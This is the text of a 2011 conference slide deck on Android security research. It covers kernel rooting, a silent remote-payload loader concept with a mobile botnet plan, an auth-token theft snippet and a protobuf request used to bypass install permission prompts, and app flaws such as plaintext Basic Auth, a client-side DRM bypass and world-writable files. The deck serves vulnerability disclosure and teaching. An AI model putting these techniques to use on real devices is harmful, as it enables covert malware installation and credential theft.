TEAM JOCH

Jon Oberheide + Zach Lanier = TEAM JOCH

TEAM JOCH vs. Android - ShmooCon 2011
Agenda

• Android Security Overview
• Kernel Security
• Platform Security
• Application Security
Android Overview

- Base platform
  - ARM core
  - Linux 2.6.3x kernel
- Native Libraries
  - libc, WebKit, etc
- Dalvik VM
  - Register-based VM
  - Runs dex bytecode
- Applications
  - Developed in Java
  - Runs on Dalvik VM
  - Linux process 1-1
Hardware Features

- ARM11 TrustZone?
  - Unused!

- ARM11 Jazelle JVM?
  - Unused!

- ARMv6 eXecute-Never (XN)?
  - Unused!
Linux Environment

Executable stack/heap!

Mobile ASLR sucks, where's my 64-bit CPUs?!?

Non-randomized mmap/brk!
Permission-Based Model

- Apps explicitly request pre-defined permissions

**Examples:**
- Cellular: calls, SMS, MMS
- Network, bluetooth, wifi
- Hardware settings: vibrate, backlight, etc
- Location: coarse/fine
- App data: contacts, calendar
App Sandboxing

• “Sandboxed” by standard UNIX uid/gid
  • generated unique per app at install

<table>
<thead>
<tr>
<th>Permissions</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date/Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>drwxr-xr-x</td>
<td>1</td>
<td>10027</td>
<td>10027</td>
<td>2048 Nov</td>
</tr>
<tr>
<td>01:59</td>
<td>org.dyndns.devesh.flashlight</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>drwxr-xr-x</td>
<td>1</td>
<td>10046</td>
<td>10046</td>
<td>2048 Dec</td>
</tr>
<tr>
<td>07:18</td>
<td>org.freedictionary</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>drwxr-xr-x</td>
<td>1</td>
<td>10054</td>
<td>10054</td>
<td>2048 Feb</td>
</tr>
<tr>
<td>14:19</td>
<td>org.inodes.gus.scummvm</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>drwxr-xr-x</td>
<td>1</td>
<td>10039</td>
<td>10039</td>
<td>2048 Mar</td>
</tr>
<tr>
<td>12:32</td>
<td>org.oberheide.org.brickdroid</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

• High-level permissions restricted by Android runtime framework
App Distribution

- Application signing
  - No CAs
  - Self-signed by developers

- Android Market
  - $25 signup, anyone can publish
  - Anonymous sign-up possible
Agenda

• Android Security Overview
• Kernel Security
• Platform Security
• Application Security
The Linux Kernel

• Linux kernel = swiss cheese
  – Jailbreaks, aka local privesc, are plentiful
  – Mostly thanks to stealth/743C

• Shameless plug!
  – If you care about kernel exploitation, come to:
Android Native Code

• Dalvik VM != sandbox
  – Not limited to executing dex bytecode
  – Can pop out of the VM to execute native code
  – Any 3rd party app can root your phone by exploiting a kernel vulnerability via native code

• Native code packaged within APKs
  – Android should do some code signing like iPhone
  – But it doesn't, so why limit execution of native code to build-time packaged modules?
RootStrap

- Getting root is easy, but how do it most effectively as an attacker

- Enter, RootStrap
  - Silent runtime fetching and execution of remote ARM payloads
  - Not really a bot..more of a general purpose distributed computing platform ;-)
Native ARM Code Delivery

- Fetch index file
  - Lists available exploits and module names

- Yank down ARM modules
  - Dumped to Android app private storage
  - eg. /data/data/org.rootstrap/files, not ./libs

- Load via JNI and execute each payload
  - System.load("../files/root1.so");
  - result = root1();

```
jonoslice rootstrap # cat index
root1.so
root2.so
jonoslice rootstrap # file root*.so
root1.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, not stripped
root2.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, not stripped
jonoslice rootstrap #
```
How to Build a Mobile Botnet

• Build some fun legit-looking games / apps
  – Include RootStrap functionality
  – Periodically phone home to check for new payloads

• As soon as new kernel vuln discovered, push out exploit payload
  – Before providers push out OTA patch
  – Trivial to win that race, slow OTA updates

• Rootkit a bunch of phones!
A Wolf in Vampire's Clothing?

• RootStrap app is boring and not sneaky
  – No one would intentionally download it
  – Need something legit looking to get a large install base

• Hmm...what to do, what to do...
Fake Twilight Eclipse App

My review

Post a comment

100-500 downloads  4 ratings

Preview of new Twilight Eclipse movie.

Version 1.0  805KB

Open  Uninstall
Andy and Jaime Don't Like It :-(

<table>
<thead>
<tr>
<th>Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Andy</strong> 6/16/2010</td>
</tr>
<tr>
<td>Defective</td>
</tr>
<tr>
<td><strong>Jaime</strong> 6/16/2010</td>
</tr>
<tr>
<td>Loads but you can't see any other photos</td>
</tr>
</tbody>
</table>

- Still, 200+ downloads in under 24 hours
- With a legit-looking app/game, you could collect quite an install base for RootStrap
Android Remote Kill

- **BZZZ!**

```plaintext
connection:
 heartbeat: 48 / 25% / 0%
 login: 80 / 42% / 75%
 data message:
 INSTALL_ASSET: 1 / 0% / 3%
 REMOVE_ASSET: 2 / 1% / 3%
```

- **WAT?**
Android Remote Kill/Install

- Android has remote kill/wipe functionality built-in
  - Google can remotely remove installed apps from any Android device
  - GTalkService persistent connection
  - REMOVE_ASSET remote intent invocation

- Also, remote \textit{installation} functionality
Kernel Security Wrap-up

• No excuses Google, it's 2011!
  – Harden your kernel / toolchain
  – Signed code restrictions a la iPhone

• Supporting native code makes it worse
  – Packaging/install time: ok
  – Runtime native code delivery: not ok
Agenda

• Android Security Overview
• Kernel Security
• Platform Security
• Application Security
Platform Security

• There's a lot of “platform goo” in the middle between the kernel and applications

• What to attack?
  – Not kernel, not apps!
  – How about permissions framework?

• Permissions approval process
  – Intended to warn the user about potentially unsafe actions an app can perform
Perceived App Install Process

BROWSE

INSTALL

APPROVE?

INSTALLED!
ACTUAL Market Flow

• Google is a sneaky panda!
  – You don't actually download / install the app through the market application

• When you click install in market app
  – Google servers push an out-of-band message down to you via persistent data connection
  – Triggers INSTALL_ASSET intent to start install
  – Intent handler fetches APK and installs
Dex Bytecode RE
GTalkService Connection

- Persistent data connection
  - Speaks XMPP
  - Same connection now used for C2DM push service
- It's SSL, but...
- If you MITM or C2DM spoof
  - Remote intent / app install
- If you pop GTalkService servers
  - Push down code to all Android phones in the world
Gap in Responsibility

- Market app performs permission approval
- But GTalkService triggers actual install
- There's a disconnect here...
Market App Requests

• What does the market app POST to the market server?

• Can we spoof the same request and trigger an INSTALL_ASSET message and subsequent install?
Base64 Encoded Protobuf Payload

POST /market/api/ApiRequest HTTP/1.1
Content-Length: 524
Content-Type: application/x-www-form-urlencoded
Host: android.clients.google.com
Connection: Keep-Alive
User-Agent: Android-Market/2 (dream DRC83); gzip

version=2&request=CuACCvYBRFFBQUFLOEFBQUJvZwVEVGo4eGV40VRJaW9YYmY3T1FSZGd4dHwxM2VZTlltUjFMV2hLa3pWSFdUY0xtcIlNNHNMOFRPTwwtM1dkTU9JbUQ3aUdlaihUMFg5R1htd1EtSmU3SzVSRW1US0lsWmJPeTVHNzc5Y0pNZTFqb09DQUlYT2RXRVZnR0NNaUN5TkYtS2VtUUhLWEm2VkhREAAYhA0iD2YyZjElY2NkMTdmYjMwNSoH2HZJlyW06NDICZw46AlVTQgdBbmRyb2lkSgdBbmRyb2lkNjA2ZGlJzMDAwZDQ4MGQ2MxNSFAoSMzUz0Tk5MzE5NzE4NTg1NDczFA
Raw Protobuf Decoded

```
1 {
   1: "DQAAAJ0AAAAcMCMwwBjooK40nhA80M17c4tEsHT_LE0Eyx46iYT062oHj01WSjb-ndSDr0CNwvUDy2yFLD6E6EsL
   Xxd-iWgyA1TRPq01XdcsHjz-HoGp-2JrD5UhlWRIc30yHy_EYUju0WkRIY9BRX1aTG-oxIrQ5btKy8PLDxcjNP-8P_1YzrIt
   2: 0
   3: 1002
   4: "d552a36f69de4a"
   5: "dream:3"
   6: "en"
   7: "US"
   8: "Android"
   9: "Android"
   10: "310260"
   11: "310260"
   12: "am-google-us"
}
2 {
   4 {
      4: "-3271901821060548049"
      6: 1
   }
}
2 {
   5 {
      1: "-3271901821060548049"
      2: 0
      3: 3
      4: 1
   }
}
```
RE'ed Protobuf Specification

```protobuf
definition app/asset ID:
    message UnknownThing {
        optional fixed64 mgoogle = 12;
    }

    message InstallRequest {
        optional string appId = 1;
    }

    message RequestContext {
        required string authSubToken = 1; // authsub token for service 'android'
        required int32 unknown1 = 2; // always 0
        required int32 version = 3; // always 1002
        required string androidId = 4; // android id converted to hexadecimal
        optional string deviceAndSdkVersion = 5; // ro.product.device ':' ro.build.version.sdk
        optional string userLanguage = 6; // ro.product.locale.language
        optional string userCountry = 7; // ro.product.locale.region
        optional string operatorAlpha = 8; // gsm.operator.alpha
        optional string simOperatorAlpha = 9; // gsm.sim.operator.alpha
        optional string operatorNumeric = 10; // gsm.operator.numeric
        optional string simOperatorNumeric = 11; // sim.gsm.operator.numeric
        optional UnknownThing unknown12 = 12;
        optional string unknown13 = 13;
    }

    message Request {
        optional RequestContext context = 1;
        repeated group RequestGroup = 2 {
            optional InstallRequest installRequest = 10;
        }
    }
```
Elements of a Install Request

• We have the format of the request now!
• Need to populate it with:
  – Lots of miscellaneous fields...
  – App ID: target app to be installed
    • Can be derived from dissecting market requests
  – Auth token: the hard part?
    • Turns out we can steal it from Android's AccountManager!

```java
text OnClickListener button_click = new OnClickListener() {
    public void onClick(View v) {
        AccountManager accountManager = AccountManager.get(getApplicationContext());
        Account acct = getAccount(accountManager);
        accountManager.getAuthToken(acct, "android", false, new GetAuthTokenCallback(), null);
        return;
    }
};
```
Bypassing Permissions Approval

• Steal the “android” service token used by market from the AccountManager

• Construct protobuf request to market servers for invoking an application installer

• INSTALL_ASSET is pushed and app installed without any user prompt / permission approval

• PoC disguised as an Angry Birds expansion app
Angry Birds Bonus Levels

Bonus levels for Angry Birds.

Version 1.0  438KB
<50 downloads  0 ratings

About the developer

View more applications

Visit the developer's Web page
http://jon.oberheide.org

Install Angry Birds Bonus Levels

Please click the above button to install the bonus Angry Birds levels!

November 9, 2010  -75  11:39 PM
T-Mobile

Ongoing

Fake Location Tracker
Successfully installed.  11:39 PM

Fake Toll Fraud
Successfully installed.  11:39 PM

Fake Contact Stealer
Successfully installed.  11:39 PM

USB debugging connected
Select to disable USB debugging.
Fake Toll Fraud App

This application has been granted the permission to initiate outbound phones calls (CALL_PHONE) and SMS messages (SEND_SMS), with the potential to commit toll fraud, without the user's approval. However, in reality, this application is completely harmless and solely for demonstration purposes. Please contact jon@oberheide.org if you have any questions or concerns.

![Application info](image)

- **Application**: 20.00KB
- **Data**: 0.00B

**Permissions**

This application can access the following on your phone:

- **Services that cost you money**
  - directly call phone numbers, send SMS messages
Platform Security Wrapup

• Vulnerability status:
  – Donut: fixed
  – Froyo: fixed
  – Eclair: no confirmation yet, may be vulnerable

• Platform complexity leads to vulns
  – Round-about market / GtalkService procedure
  – “server-initiated” flag fix worth investigation
Agenda

• Android Security Overview
• Kernel Security
• Platform Security
• Application Security
Broad Observations
• The Web pushed content to the browser
  – Centralization of apps & data
  – Always a push for MORE (ActiveX, applets, Flash)

• Now, everyone gets their own app!
  – Code (not HTML) gets pushed to the endpoint
  – XKCD Viewer
Broad Observations

- AuthC/AuthZ
  - Carrier Applications
    - “we trust you because you’re on our network”
  - Third-party Applications
    - SOMETIMES better than carrier apps
      - Incomplete support of open standards
    - Client-side data trust issues
      - admin=1
Broad Observations

- HyperGlobalMegaCloudDataMeshStore
  - Many Apps for syncing data between device and CLOUD
      - Full AuthC and AuthZ bugs
Testing Techniques
Testing Techniques

• White Box Source Code Review
  – Sometimes, it’s trivial to get app source code

• Black Box
  – Acquiring Application Binaries
  – Reverse Engineering
    • Disassembly/Decompileation
  – Network Analysis
    • Protocol Analysis, fuzzing
  – MITM
Testing Techniques

```
oishi$ adb pull /system/app/com.amazon.mp3.apk
1241 KB/s (552871 bytes in 0.434s)
oishi$ unzip com.amazon.mp3.apk
Archive: com.amazon.mp3.apk
    inflating: META-INF/MANIFEST.MF
    inflating: META-INF/MP3TEAMS.SF
    inflating: META-INF/MP3TEAMS.RSA
    inflating: res/drawable/album_detail_info_background.xml
    inflating: res/drawable/album_track_toggle_active_background.xml
    inflating: res/drawable/album_track_toggle_inactive_background.xml
    extracting: res/drawable/artwork_placeholder.png
    extracting: res/drawable/artwork_placeholder_small.png
    extracting: res/drawable/buy_button_hot_opaque.png
```
Testing Techniques

```java
# direct methods
.method static constructor <clinit>()V
  .locals 1

  .prologue
  const/4 v0, 0x0

  .line 35
  sput-object v0, Lcom/amazon/mp3/net/RestClient;->sSocketFactoryFallback:Lorg/apache/http/conn/ssl/SSLSocketFactory;

  .line 36
  sput-object v0, Lcom/amazon/mp3/net/RestClient;->sSocketFactory:Lorg/apache/http/conn/ssl/SSLSocketFactory;

  .line 29
  return-void
  .end method

.method public constructor <init>(Ljava/io/InputStream;Ljava/lang/String;)V
  .locals 5
  .parameter "keyStoreStream"
  .parameter "keyStorePassword"
```
public class RestClient
{
    public RestClient(InputStream arg0, String arg1)
    {
        local = com/amazon/mp3/net/RestClient;
        Object obj1 = sSocketFactoryFallback;
        if(obj1 == null) goto _L2; else goto _L1
    }
    obj1 = sSocketFactory;
    if(obj1 == null) goto _L2; else goto _L3
    return;
    Object obj = null;
    obj1 = KeyStore.getDefaultType();
    KeyStore keystore = KeyStore.getInstance(((String) (obj1)));
    char ac[] = arg1.toCharArray();
    keystore.load(arg0, ac);
    ac = JVM INSTR new #52 <Class SSLSocketFactory>;
    ac.3SSLSocketFactory(keystore, arg1, keystore);
    sSocketFactoryFallback = ac;
    ac = JVM INSTR new #52 <Class SSLSocketFactory>;
    KeyStore keystore1 = null;
    ac.3SSLSocketFactory(keystore, arg1, keystore1);
    sSocketFactory = ac;
    IoUtility.close(arg0);
}
Testing Techniques

• Not everyone can be a Binary RE ninja
  – ...and project timelines don’t allow for on-the-job training :-)

• Sometimes the easiest way to understand an application is to look at its TRAFFIC

• You need to be come the MITM
  – Just like WAPT, and Burp, WebScarab, etc.
Testing Techniques

• MAPT MITM Challenges!
  – Run the app in an emulator (boring)
  – Connect the phone to your own WAP
    • Uplink your WAP to your laptop with Internet sharing enabled
  – Run Wireshark
  – WiFi not always an option
    • Handset might not support WiFi
    • Application might require carrier network
      – Change server.carrier.com to testsite.com
Testing Techniques

• MAPT MITM Challenges!
  – Wireshark lets you see traffic
  – SYN TCP 80? Easy.
  – SYN TCP 443? A little harder.
  – SYN TCP 9999? Ok...
    • Binary data?! Huh?
  – UDP DST Port 4717?!?
    • I quit!
Case Studies
Case Study: Foursquare

• Foursquare client for Android
• Originally written in Java, like most Android applications
  – Source available under Apache 2.0 license
Case Study: Foursquare

• Foursquare API supports Basic Auth and OAuth...
  – OAuth includes signatures for transactions, helps prevent replay attacks, etc.
  – Guess which one foursquared uses
Case Study: Foursquare

• That’s right. HTTP Basic Auth...over plaintext transport

User-Agent header identifying the Android Foursquare app
Authorization: Basic ZXZ2pHdNvdMFyZUBuMHdoZXJ1Lm9yZzpnb29kdm1zdW9u

HTTP Basic Auth

User-Agent: com.joelapenna.foursquare 2010011401
Host: api.foursquare.com
Connection: Keep-Alive

• There’s a CWE for that!
  – CWE-311: Missing Encryption of Sensitive Data (including credentials)
Case Study: Foursquare

• Why is this a problem?
  – EVERYONE uses Foursquare
    • Well, maybe not you, but everyone else!
  – Most applications “prefer” WiFi to cell radio
    => trivial interception of creds
• Funny enough, Foursquared has OAuth support
  – But it’s not actually used
Case Study: Storage Application

- Multi-platform application for storing and retrieving music, videos, documents, and more
  - Android, BREW, Blackberry, and fat web browser
- Proprietary, binary-only
Case Study: Storage Application

• Simple crash in storage quota viewer
  – Divide-by-zero error leads to DoS
  – Attacker must successfully intercept and modify server response for this to happen

• A bit more difficult since this tends to occur over the carrier’s network, but WiFi is still an option
Case Study: Storage Application

The application [redacted] Manager (process com. [redacted]) has stopped unexpectedly. Please try again.
Case Study: Storage Application

• Diddling with “Digital Rights Management”
  – App supports sharing of video, audio, image content with your contacts
  – Enforces “DRM” on “protected” files
    • Often copyrighted or premium content
  – Enforcement occurs based on the value of an attribute in the file’s XML manifest
    • Yes, Virginia, that is under the user’s control
Case Study: Storage Application

- Name: [Redacted]
- Date: 07/04/2010 9:37 am
- Copyrighted: Yes
- ContentPermission is set to "VIEW"

- Resolution: -
- Duration: -
- Size: 1 MB
- Format: 3gp
Case Study: Storage Application
Case Study: Storage Application

File could not be sent

File is protected by DRM
Case Study: Storage Application

Becomes...

```xml
<fileAttribute name="ContentPermissions">VIEW</fileAttribute>
<fileAttribute name="CI_COMPLETE">true</fileAttribute>
<fileAttribute name="Duration">90530</fileAttribute>
<fileAttribute name="Height">144</fileAttribute>
<fileAttribute name="Width">176</fileAttribute>
<fileAttribute name="TranscodingStatus">Success</fileAttribute>
<fileAttribute name="ContentPermissionsDetail">PENDING</fileAttribute>
<fileAttribute name="BitRate">95.0</fileAttribute>

<fileAttribute name="ContentPermissions">SHARE</fileAttribute>
<fileAttribute name="CI_COMPLETE">true</fileAttribute>
<fileAttribute name="Duration">90530</fileAttribute>
<fileAttribute name="Height">144</fileAttribute>
<fileAttribute name="Width">176</fileAttribute>
<fileAttribute name="TranscodingStatus">Success</fileAttribute>
<fileAttribute name="ContentPermissionsDetail">PENDING</fileAttribute>
```
Case Study: Storage Application

**Video Info**

- **Name:** [Redacted]
- **Date:** 07/04/2010 9:37 am
- **Copyrighted:** No
- **Resolution:** -
- **Duration:** -
- **Size:** 1 MB
- **Format:** 3gp

After changing ContentPermission to "SHARE"
Case Study: Storage Application

- The “DRM” is basically enforced within the client, predicated on the response from the server
  - And that response can be intercepted and modified => “DRM” bypass
- CWE-807: Reliance on Untrusted Inputs in a Security Decision
  - I like CWE, btw
Case Study: App Framework

• Cross-platform framework for HTML/JS “applications”
  – WinMo, Android, etc.
Case Study: App Framework

- Custom permissions restricted us from sending messages (Intents) to the runtime.

```
<uses-sdk android:minSdkVersion="7" android:targetSdkVersion="7" />
<permissions android:name="com. .permission.ACCESS platform_provider" android:protectionLevel="signatureOrSystem" android:description="@string/permdesc_access_ platform provider" />
```

```
# am start -a "android.intent.action.VIEW" -t "application/widget" -d "file:///sdcard/ ./ui.manager.WidgetInstallActivity"
Starting: Intent { act=android.intent.action.VIEW dat=file:///sdcard/ ./ui.manager.WidgetInstallActivity }
0/ gt typ=application/widget flg=0x10000000 cmp= /ui (pid=-1, uid=-1) requires com. .permission.ACCESS . INFO
```
But, other (malicious) apps can clobber widget content!
- CWE-276: Incorrect Default Permissions
- So we wrote a malicious app to do just that
Case Study: App Framework

```
# ls -l /data/misc
drwxrwx----- bluetooth bluetooth
drwx------- keystore keystore
drwxrwx----- system system
drwxrwxrwx root root
drwxrwx----- wifi wifi
drwxrwxrwx app_24 app_24
#
```

```
/data/misc

JACKED!
```

TEAM JOCH vs. Android - ShmooCon 2011
Case Study: App Framework
• Lookout Mobile security app
  – Over 4 million users
  – Scanning, backup, lost device tracking, etc
Lookout: World-Writable Files

- Lookout installs with a **world-writable** config file and database
  - Independently discovered by Tavis Ormandy
- Disable, lockout device, etc from any unprivileged app

```bash
# pwd
/data/data/com.lookout
# ls -l config.txt
-rw-rw-rw- app_32  app_32  5478 2011-01-28 18:18 config.txt

# pwd
/data/data/com.lookout/DB
# ls -l
-rw-rw-rw- app_32  app_32  177 2011-01-29 09:37 system.db
```
Lookout: Owned by Tavis

- Tavis took it to the next level:
  - Backed up a custom shared lib, “liblookout.so” from a user-controlled directory
  - Restored into Lookout app's data/lib directory, overwriting legit

```bash
# pwd
/data/data/com.lookout/lib

# ls -l
-rwxr-xr-x  system  system  564672  2010-11-22 11:50 liblookout.so
```

- Security app → less secure phone
Lack of guidance, standards, practices makes developers reinvent the wheel
  – Or just make them think they need to

Neglecting the security lessons learned with “traditional” and web applications
  – Client-side trust
  – Access control issues
  – ...and all of the other “basic” problems and mistakes of yore
Final Scorecard

• TEAM JOCH vs. Android kernel?
  – TEAM JOCH!

• TEAM JOCH vs. Android platform?
  – TEAM JOCH!

• TEAM JOCH vs. Android apps?
  – TEAM JOCH!
QUESTIONS?

Jon Oberheide
Duo Security
jon@oberheide.org

Zach Lanier
Intrepidus Group
zach@n0where.org